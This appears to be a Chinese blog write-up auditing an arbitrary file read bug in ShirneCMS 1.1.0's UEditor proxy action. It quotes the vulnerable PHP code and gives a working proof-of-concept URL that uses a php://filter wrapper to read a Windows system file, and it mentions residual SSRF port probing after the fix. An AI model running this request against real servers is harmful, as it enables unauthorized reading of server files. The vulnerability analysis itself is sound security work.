前言

在推特看了 @pikpikcu 师傅发了一个 poc ,php 的 ueditor 怎么有个 proxy 功能,原来是 Shirne CMS 添加的,居然可以任意文件读取。这也是一篇靠猜的代码审计,如有错误请指出问题。

Shirne CMS

https://github.com/shirne/ShirneCMS/releases

审一下?

这里下载的是 ShirneCMS-1.1.0 ,未修复前的版本。
打开 ShirneCMS-1.1.0\src\public\static\ueditor\php\controller.php 42行,proxy 功能包含的文件:action_proxy.php
image.png
查看 action_proxy.php 文件:$fieldName 是从 config.json 的 proxyFieldName 参数,可以 get 或 post 请求然后赋值给 $source

  1. $fieldName = $CONFIG['proxyFieldName']?:'remote';
  2. /* 抓取远程图片 */
  3. if (isset($_POST[$fieldName])) {
  4. $source = $_POST[$fieldName];
  5. } else {
  6. $source = $_GET[$fieldName];
  7. }

image.png
image.png
$maxwidth 默认等于 0 可以不用给它赋值,$scheme 获取请求的协议
image.png
action_proxy.php 文件 61 行:把 $source 传给 file_get_contents 然后赋值给 $data
image.png
判断 $data 的长度要大于 100 ,然后 $maxwidth 只要不是大于 0 就会输出 $data 。
$maxwidth 默认值就是 0 ,所以只要读取的文件长度大于 100 就会输出。
image.png

POC

  1. http://192.168.111.3:81/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=c:\\windows\\win.ini

image.png

官方修复

判断 $scheme 是否存在 列表中,但是可以利用 ssrf 来探测端口。
image.png